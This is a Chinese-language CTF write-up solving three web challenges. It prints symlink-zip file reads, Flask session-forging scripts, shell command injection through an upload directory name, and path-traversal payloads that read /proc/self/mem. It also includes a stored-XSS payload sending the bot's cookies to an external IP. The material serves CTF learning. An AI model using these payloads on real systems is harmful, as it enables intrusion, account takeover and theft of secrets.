n1ctf

web

online_unzipper

先注册个账号登录上去看看,发现可以上传 ZIP 文件解压,可以上传zip文件还能解压的首先先尝试软连接读取文件

这里由于一开始网站问题没有附件所以当黑盒做的

尝试读取源文件
ln -s /app/app.py test
zip -y test.zip test

成功读取源文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import os
import uuid
from flask import Flask, request, redirect, url_for,send_file,render_template, session, send_from_directory, abort, Response

app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")
UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads")
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

users = {}

@app.route("/")
def index():
if "username" not in session:
return redirect(url_for("login"))
return redirect(url_for("upload"))

@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]

if username in users:
return "用户名已存在"

users[username] = {"password": password, "role": "user"}
return redirect(url_for("login"))

return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]

if username in users and users[username]["password"] == password:
session["username"] = username
session["role"] = users[username]["role"]
return redirect(url_for("upload"))
else:
return "用户名或密码错误"

return render_template("login.html")

@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("login"))

@app.route("/upload", methods=["GET", "POST"])
def upload():
if "username" not in session:
return redirect(url_for("login"))

if request.method == "POST":
file = request.files["file"]
if not file:
return "未选择文件"

role = session["role"]

if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())

target_dir = os.path.join(UPLOAD_FOLDER, dirname)
os.makedirs(target_dir, exist_ok=True)

zip_path = os.path.join(target_dir, "upload.zip")
file.save(zip_path)

try:
os.system(f"unzip -o {zip_path} -d {target_dir}")
except:
return "解压失败,请检查文件格式"

os.remove(zip_path)
return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"

return render_template("upload.html")

@app.route("/download/<folder>")
def download(folder):
target_dir = os.path.join(UPLOAD_FOLDER, folder)
if not os.path.exists(target_dir):
abort(404)

files = os.listdir(target_dir)
return render_template("download.html", folder=folder, files=files)

@app.route("/download/<folder>/<filename>")
def download_file(folder, filename):
file_path = os.path.join(UPLOAD_FOLDER, folder ,filename)
try:
with open(file_path, 'r') as file:
content = file.read()
return Response(
content,
mimetype="application/octet-stream",
headers={
"Content-Disposition": f"attachment; filename={filename}"
}
)
except FileNotFoundError:
return "File not found", 404
except Exception as e:
return f"Error: {str(e)}", 500


if __name__ == "__main__":
app.run(host="0.0.0.0")

这里flask秘钥是从环境变量读的,我们软连接读一下环境变量
ln -s /proc/1/environ test
zip -y test.zip test
结果如下

1
CONSOLE_WEB_SERVICE_PORT=80BLUEHATCUP_LANDING_PORT_80_TCP=tcp://192.168.61.162:80CTF_GO_PORT_1235_TCP_PROTO=tcpCONSOLE_WEB_PORT=tcp://192.168.136.246:80KUBERNETES_PORT=tcp://192.168.0.1:443CTF_GO_SERVICE_HOST=192.168.209.132KUBERNETES_SERVICE_PORT=443GATEWAY_PORT_3000_TCP_PORT=3000GATEWAY_PORT_3000_TCP_PROTO=tcpHOSTNAME=t87281457269073132-comp-online-unziper-92938366630323508krksdCTF_EXPOSED_PORT=tcp://192.168.111.190:1236BOSS_WEB_PORT_80_TCP_ADDR=192.168.46.124CTF_EXPOSED_SERVICE_PORT=1236GATEWAY_SERVICE_PORT_HTTP=3000CTF_EXPOSED_SERVICE_PORT_TCP_1236=1236PORTAL_WEB_PORT_80_TCP=tcp://192.168.231.235:80CTF_EXPOSED_PORT_1236_TCP=tcp://192.168.111.190:1236CTF_DASHBOARD_PORT_80_TCP_ADDR=192.168.197.106CONSOLE_WEB_PORT_80_TCP_ADDR=192.168.136.246HOME=/rootBOSS_WEB_PORT_80_TCP_PORT=80CTF_GO_PORT_1234_TCP=tcp://192.168.209.132:1234BLUEHATCUP_LANDING_SERVICE_PORT_HTTP=80CTF_GO_SERVICE_PORT=1234CTF_DASHBOARD_PORT_80_TCP_PORT=80CTF_GO_PORT=tcp://192.168.209.132:1234CTF_GO_PORT_1235_TCP=tcp://192.168.209.132:1235BOSS_WEB_PORT_80_TCP_PROTO=tcpGPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DCONSOLE_WEB_PORT_80_TCP_PORT=80CTF_DASHBOARD_PORT_80_TCP_PROTO=tcpCONSOLE_WEB_PORT_80_TCP_PROTO=tcpPYTHON_SHA256=8fb5f9fbc7609fa822cb31549884575db7fd9657cbffb89510b5d7975963a83aGATEWAY_PORT_3000_TCP=tcp://192.168.221.45:3000BOSS_PORT_3000_TCP_ADDR=192.168.145.210PORTAL_WEB_SERVICE_PORT_HTTP=80GATEWAY_SERVICE_HOST=192.168.221.45BLUEHATCUP_LANDING_SERVICE_HOST=192.168.61.162FLASK_APP=app.pyBOSS_PORT_3000_TCP_PORT=3000BOSS_WEB_PORT_80_TCP=tcp://192.168.46.124:80BOSS_PORT_3000_TCP_PROTO=tcpCTF_DASHBOARD_PORT_80_TCP=tcp://192.168.197.106:80CONSOLE_WEB_PORT_80_TCP=tcp://192.168.136.246:80FLASK_RUN_HOST=0.0.0.0GATEWAY_SERVICE_PORT=3000KUBERNETES_PORT_443_TCP_ADDR=192.168.0.1GATEWAY_PORT=tcp://192.168.221.45:3000PORTAL_WEB_SERVICE_HOST=192.168.231.235PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binBLUEHATCUP_LANDING_PORT=tcp://192.168.61.162:80BLUEHATCUP_LANDING_SERVICE_PORT=80CLOUDPILOT_PORT_8000_TCP_ADDR=192.168.213.82KUBERNETES_PORT_443_TCP_PORT=443BOSS_WEB_SERVICE_PORT_HTTP=80KUBERNETES_PORT_443_TCP_PROTO=tcpLANG=C.UTF-8BOSS_PORT_3000_TCP=tcp://192.168.145.210:3000CLOUDPILOT_PORT_8000_TCP_PORT=8000CTF_DASHBOARD_SERVICE_PORT_HTTP=80BOSS_SERVICE_HOST=192.168.145.210CONSOLE_WEB_SERVICE_PORT_HTTP=80CLOUDPILOT_PORT_8000_TCP_PROTO=tcpFLASK_SECRET_KEY=#mu0cw9F#7bBCoF!PORTAL_WEB_PORT=tcp://192.168.231.235:80PORTAL_WEB_SERVICE_PORT=80BLUEHATCUP_LANDING_PORT_80_TCP_ADDR=192.168.61.162PYTHON_VERSION=3.11.13CTF_GO_SERVICE_PORT_FRONT=1235CLOUDPILOT_SERVICE_HOST=192.168.213.82BOSS_WEB_SERVICE_HOST=192.168.46.124BLUEHATCUP_LANDING_PORT_80_TCP_PORT=80BLUEHATCUP_LANDING_PORT_80_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP=tcp://192.168.0.1:443CTF_DASHBOARD_SERVICE_HOST=192.168.197.106KUBERNETES_SERVICE_PORT_HTTPS=443BOSS_SERVICE_PORT=3000PORTAL_WEB_PORT_80_TCP_ADDR=192.168.231.235CONSOLE_WEB_SERVICE_HOST=192.168.136.246CTF_EXPOSED_PORT_1236_TCP_ADDR=192.168.111.190BOSS_PORT=tcp://192.168.145.210:3000CLOUDPILOT_PORT_8000_TCP=tcp://192.168.213.82:8000KUBERNETES_SERVICE_HOST=192.168.0.1PWD=/appCTF_GO_PORT_1234_TCP_ADDR=192.168.209.132CTF_GO_PORT_1235_TCP_ADDR=192.168.209.132CTF_GO_SERVICE_PORT_ADMIN=1234CTF_EXPOSED_PORT_1236_TCP_PORT=1236PORTAL_WEB_PORT_80_TCP_PORT=80CTF_EXPOSED_SERVICE_HOST=192.168.111.190CTF_EXPOSED_PORT_1236_TCP_PROTO=tcpCLOUDPILOT_SERVICE_PORT=8000CLOUDPILOT_PORT=tcp://192.168.213.82:8000PORTAL_WEB_PORT_80_TCP_PROTO=tcpCTF_GO_PORT_1234_TCP_PORT=1234BOSS_WEB_SERVICE_PORT=80CLOUDPILOT_SERVICE_PORT_API=8000BOSS_SERVICE_PORT_WEB=3000BOSS_WEB_PORT=tcp://192.168.46.124:80FLAG=CTF_GO_PORT_1235_TCP_PORT=1235CTF_DASHBOARD_PORT=tcp://192.168.197.106:80GATEWAY_PORT_3000_TCP_ADDR=192.168.221.45CTF_DASHBOARD_SERVICE_PORT=80CTF_GO_PORT_1234_TCP_PROTO=tcp

重点为FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!,读取到flask的密钥即可进行签名伪造登录admin账号,从而可以控制dirname这个变量进行命令执行
生成一下伪造的session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask.sessions import TaggedJSONSerializer
from itsdangerous import URLSafeTimedSerializer
import hashlib

secret_key = '#mu0cw9F#7bBCoF!'
session_data = {'username': 'admin',"role": "admin"}

# 使用与 Flask 相同的序列化器
serializer = TaggedJSONSerializer()
signer_kwargs = {
'key_derivation': 'hmac',
'digest_method': hashlib.sha1
}
s = URLSafeTimedSerializer(
secret_key,
salt='cookie-session',
serializer=serializer,
signer_kwargs=signer_kwargs
)

# 生成伪造的 Cookie
fake_cookie = s.dumps(session_data)
print("伪造的 Cookie:", fake_cookie)

然后即可登录admin账号
这里利用;进行命令执行即可
传入如下参数到dirname变量
123;mkdir static
123;ls / > ./static/1.txt

拿到flag的名称(这里再软连接读也行,但是没必要了)
123;cat /flag-dK4ClHbfHqvrORCW1bgrSgeZgQNmHVht.txt > ./static/1.txt

获取flag

Unfinished

先审一下源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response
from flask_login import LoginManager, UserMixin, login_user, logout_user, current_user, login_required
import requests
from markupsafe import escape
from playwright.sync_api import sync_playwright
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'

login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

class User(UserMixin):
def __init__(self, id, username, password, bio=""):
self.id = id
self.username = username
self.password = password
self.bio = bio
admin_password = os.urandom(12).hex()

USERS_DB = {'admin': User(id=1, username='admin', password=admin_password)}
USER_ID_COUNTER = 1

@login_manager.user_loader
def load_user(user_id):
for user in USERS_DB.values():
if str(user.id) == user_id:
return user
return None

@app.route('/')
def index():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
global USER_ID_COUNTER
if request.method == 'POST':
username = request.form['username']
if username in USERS_DB:
flash('Username already exists.')
return redirect(url_for('register'))

USER_ID_COUNTER += 1
new_user = User(
id=USER_ID_COUNTER,
username=username,
password=request.form['password']
)
USERS_DB[username] = new_user
login_user(new_user)
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', 'your_ticket_value')
return response
return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = USERS_DB.get(username)
if user and user.password == password:
login_user(user)
return redirect(url_for('index'))
flash('Invalid credentials.')
return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for('index'))

@app.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
if request.method == 'POST':
current_user.bio = request.form['bio']
print(current_user.bio)
return redirect(url_for('index'))
return render_template('profile.html')

@app.route('/ticket', methods=['GET', 'POST'])
def ticket():
if request.method == 'POST':
ticket = request.form['ticket']
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', ticket)
return response
return render_template('ticket.html')

@app.route("/view", methods=["GET"])
@login_required
def view_user():
"""
# I found a bug in it.
# Until I fix it, I've banned /api/bio/. Have fun :)
"""
username = request.args.get("username",default=current_user.username)
visit_url(f"http://localhost/api/bio/{username}")
template = f"""
{{% extends "base.html" %}}
{{% block title %}}success{{% endblock %}}
{{% block content %}}
<h1>bot will visit your bio</h1>
<p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
{{% endblock %}}
"""
return render_template_string(template)

@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
if not current_user.username == username:
return "Unauthorized", 401
user = USERS_DB.get(username)
if not user:
return "User not found.", 404
return user.bio

def visit_url(url):
try:
flag_value = os.environ.get('FLAG', 'flag{fake}')

with sync_playwright() as p:
browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
context = browser.new_context()

context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])

page = context.new_page()
page.goto("http://localhost/login", timeout=5000)
page.fill("input[name='username']", "admin")
page.fill("input[name='password']", admin_password)
page.click("input[name='submit']")
page.wait_for_timeout(3000)
page.goto(url, timeout=5000)
page.wait_for_timeout(5000)
browser.close()

except Exception as e:
print(f"Bot error: {str(e)}")


if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)

这秘钥怎么似曾相识,上次做lmtx的题没注意秘钥这次得注意了
先试试flask签名伪造登录admin账号的,这里先注册一个账号,解码session看看里面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from itsdangerous import URLSafeTimedSerializer
import flask.sessions
import base64
import zlib
import json

# 解码原始session数据部分(第一部分)
def decode_session_data(encoded_data):
# 移除开头的点,Base64解码
data = base64.urlsafe_b64decode(encoded_data.lstrip('.') + '==')
# 解压数据(Flask默认压缩)
data = zlib.decompress(data)
# 反序列化JSON
return json.loads(data)

# 示例:解码你提供的session第一部分

raw_data2 = ".eJxFjkkOwkAMBP_iM4dZPIvzmcieaQuuCTkh_k4ikDiWVOquF62-Yb_T8twO3Gh9TFqoNUzPFdnENYTaUnWuXY0zbGZWH7GzKNcxuqasElBk9oQZsiHBNRVYGd4gOG2ITXGMUrtF9XPbohcFePDPScZd_HrMTGfIsWP71lz4p0TvD3KzNm8.aMUq7w.BY-v3KaNFbp49JmTQwGPgcCAEwo"
raw_data1 = ".eJxNjjkOwzAMBP-iOoUsUgf9GYOUlkhaO66C_D0KnCLlAIPdeYXNdxz3sD73E7ewPUZYQ60YTgVk4hpjqak4l6bGBBvE6n1pLMql96aJVCKyjJYwIhkSXFOG5e4VgmlDbIij59JsUZ_btnhWgDv_nGTcxL-PxGGGnAf2qyZN_Kf3B3KRNm0.aMUqFA.rUmtodOMbK5YM2SJGWF-JGwqbeI"

print(decode_session_data(raw_data2))

结果如下
{ '_fresh': True, '_id': '77edf36e3b9fa006726f468ab43ebd34afc1849a46cc8a23a90e59d82ed03be2efa25eb5cf7e9eafce9bd9fec568b1aff36b1f5aee4c4f7e9eaf2b489f3b9f34', '_user_id': '2', 'user_id': '2' }
这里不确定具体哪个参数起作用,再注册一个
{ '_fresh': True, '_id': '77edf36e3b9fa006726f468ab43ebd34afc1849a46cc8a23a90e59d82ed03be2efa25eb5cf7e9eafce9bd9fec568b1aff36b1f5aee4c4f7e9eaf2b489f3b9f34', '_user_id': '3', 'user_id': '2' }
可以看到_user_id代表用户id,源代码给出的admin的id为1,伪造session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'

# 创建会话序列化器
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

session_data = {
'_fresh': True,
'_id': '77edf36e3b9fa006726f468ab43ebd34afc1849a46cc8a23a90e59d82ed03be2efa25eb5cf7e9eafce9bd9fec568b1aff36b1f5aee4c4f7e9eaf2b489f3b9f34',
'_user_id': '1',
'user_id': '2'
}

# 生成cookie值
cookie_value = session_serializer.dumps(session_data)
print(f"伪造的session cookie: {cookie_value}")

传入cookie
session=.eJxFjjkOAkEMBP_imGAOz-H9DLJn2oJ0l40Qf2cQSIQllbrrSVffcdxoe-wnLnS9T9qoNUzPFdnENYTaUnWuXY0zbGZWH7GzKNcxuqasElBk9oQZsiHBNRVYGd4gWDbEpjhGqd2i-tq26EUBHvxzknEX_zxmphVyHti_NXHhnxK93nKANmw.aMaDrw.yOIX0k0Nc547qva9C2poB_YAo3E
成功访问admin的页面

然后能访问admin页面有什么用呢,很遗憾,没什么用(
这里的考点并不在此,只是想记录一下flask签名伪造登录admin账号的过程
之前L3HCTF做过一道缓存投毒的题,这里附件中的nginx.conf配置文件配置了.js和.css都会进行缓存

1
2
3
4
5
6
location ~ \.(css|js)$ {
proxy_pass http://127.0.0.1:5000;
proxy_ignore_headers Vary;
proxy_cache static_cache;
proxy_cache_valid 200 10m;
}

同时我们也可以注册带有.js或.css后缀的用户名,来进行缓存投毒,这里我们注册一个f.js用户,然后访问/api/bio/f.js,即可发现可以成功访问而并非403,并且在一段时间内会缓存第一次访问的内容,这也就是缓存投毒。

docker启动后后台也能看出来是可以成功访问的

然后我们先尝试xss,在a.js的bio中写入xss代码
<script>alert(1)</script>
虽然在主页面被转义,但是访问/api/bio/a.js成功触发弹窗
然后尝试获取bot的cookie中的flag
在bio中写入payload

1
<script> new Image().src="http://175.27.254.146/cookie.asp?cookie="+document.cookie </script>


这里我们先访问一次/api/bio/f.js投毒,然后再触发/view让bot访问我们第一次访问的界面触发xss

成功拿到flag

Peek a Fork

感觉这道题也可以不给源代码,因为dirsearch可以扫出来/entrypoint.sh,一开始也是当黑盒做的

扫到/entrypoint.sh后判断可能存在文件读取漏洞,/entrypoint.sh中也给出了server.py的文件名,尝试访问/server.py成功读取源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import socket
import os
import hashlib
import fcntl
import re
import mmap

with open('flag.txt', 'rb') as f:
flag = f.read()
mm = mmap.mmap(-1, len(flag))
mm.write(flag)
os.remove('flag.txt')

FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']
PAGE = """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Secure Gateway</title>
<style>
body { font-family: 'Courier New', monospace; background-color: #0c0c0c; color: #00ff00; text-align: center; margin-top: 10%; }
.container { border: 1px solid #00ff00; padding: 2rem; display: inline-block; }
h1 { font-size: 2.5rem; text-shadow: 0 0 5px #00ff00; }
p { font-size: 1.2rem; }
.status { color: #ffff00; }
</style>
</head>
<body>
<div class="container">
<h1>Firewall</h1>
<p class="status">STATUS: All systems operational.</p>
<p>Your connection has been inspected.</p>
</div>
</body>
</html>"""

def handle_connection(conn, addr, log, factor=1):
try:
conn.settimeout(10.0)

if log:
with open('log.txt', 'a') as f:
fcntl.flock(f, fcntl.LOCK_EX)
log_bytes = f"{addr[0]}:{str(addr[1])}:{str(conn)}".encode()
for _ in range(factor):
log_bytes = hashlib.sha3_256(log_bytes).digest()
log_entry = log_bytes.hex() + "\n"
f.write(log_entry)

request_data = conn.recv(256)
if not request_data.startswith(b"GET /"):
response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
conn.sendall(response)
return
try:
path = request_data.split(b' ')[1]
pattern = rb'\?offset=(\d+)&length=(\d+)'

offset = 0
length = -1

match = re.search(pattern, path)

if match:
offset = int(match.group(1).decode())
length = int(match.group(2).decode())

clean_path = re.sub(pattern, b'', path)
filename = clean_path.strip(b'/').decode()
else:
filename = path.strip(b'/').decode()

except Exception:
response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
conn.sendall(response)
return

if not filename:
response_body = PAGE
response_status = "200 OK"
else:
try:
with open(os.path.normpath(filename), 'rb') as f:
if offset > 0:
f.seek(offset)

data_bytes = f.read(length)
response_body = data_bytes.decode('utf-8', 'ignore')
response_status = "200 OK"
except Exception as e:
response_body = f"Invalid path"
response_status = "500 Internal Server Error"

response = f"HTTP/1.1 {response_status}\r\nContent-Length: {len(response_body)}\r\n\r\n{response_body}"
conn.sendall(response.encode())

except Exception:
pass
finally:
conn.close()
os._exit(0)

def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 1337))
server.listen(50)
print(f"Server listening on port 1337...")

while True:
try:
pid, status = os.waitpid(-1, os.WNOHANG)
except ChildProcessError:
pass
conn, addr = server.accept()

initial_data = conn.recv(256, socket.MSG_PEEK)
if any(term in initial_data.lower() for term in FORBIDDEN):
conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.")
conn.close()
continue

if initial_data.startswith(b'GET /?log=1'):
try:
factor = 1
pattern = rb"&factor=(\d+)"
match = re.search(pattern, initial_data)
if match:
factor = int(match.group(1).decode())
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, True, factor)
except Exception as e:
print("[ERROR]: ", e)
finally:
conn.close()
continue
else:
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, False)

conn.close()

if __name__ == '__main__':
main()

这里flag.txt被存在内存中,然后文件被删除,需要读取/proc/self/maps查看内存映射,然后再通过/proc/self/mem加上偏移量读取对应内存,源代码中的f.seek(offset)很显然也是为了我们能够读取内存准备的
这里需要绕过黑名单的过滤,一开始看题目名想的是利用log的factor参数传入256个字节数据堵塞主进程,然后再传入危险路径,使主进程PEEK的数据是log对应的数据,进而绕过(但是好像不行)
这里看这一段源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try:
path = request_data.split(b' ')[1]
pattern = rb'\?offset=(\d+)&length=(\d+)'

offset = 0
length = -1

match = re.search(pattern, path)

if match:
offset = int(match.group(1).decode())
length = int(match.group(2).decode())

clean_path = re.sub(pattern, b'', path)
filename = clean_path.strip(b'/').decode()
else:
filename = path.strip(b'/').decode()

这里他会检测你传入的数据中是否含有?offset=(\d+)&length=(\d+),然后读取并删除,也就是如果我们传入这一段?offset=(\d+)&length=(\d+)在传入的数据中即可将我们的数据截断,同时在后端处理后变回正常数据
如我们传入/server?offset=(\d+)&length=(\d+)ver.py即可解析为/server.py

这里要读取/proc/self/maps还要进行一下路径穿越,因为传入的数据会按/app/{filename}进行读取,也是一样的方法绕过过滤,payload如下
/.?offset=0&length=10000.?offset=0&length=10000/pr?offset=0&length=10000oc/self/maps
成功读取/proc/self/maps
在其中寻找匿名映射区域

匿名映射通常没有关联的文件名,或者显示为/dev/zero (deleted)

找到这一行
7f5a99aec000-7f5a99aed000 rw-s 00000000 00:01 9238 /dev/zero (deleted)
为rw-s权限,尝试利用偏移进行读取,将16进制的地址转为10进制传入,payload如下
/.?offset=140027102150656&length=1000.?offset=0&length=1000/pr?offset=0&length=1000oc/self/mem
成功读取flag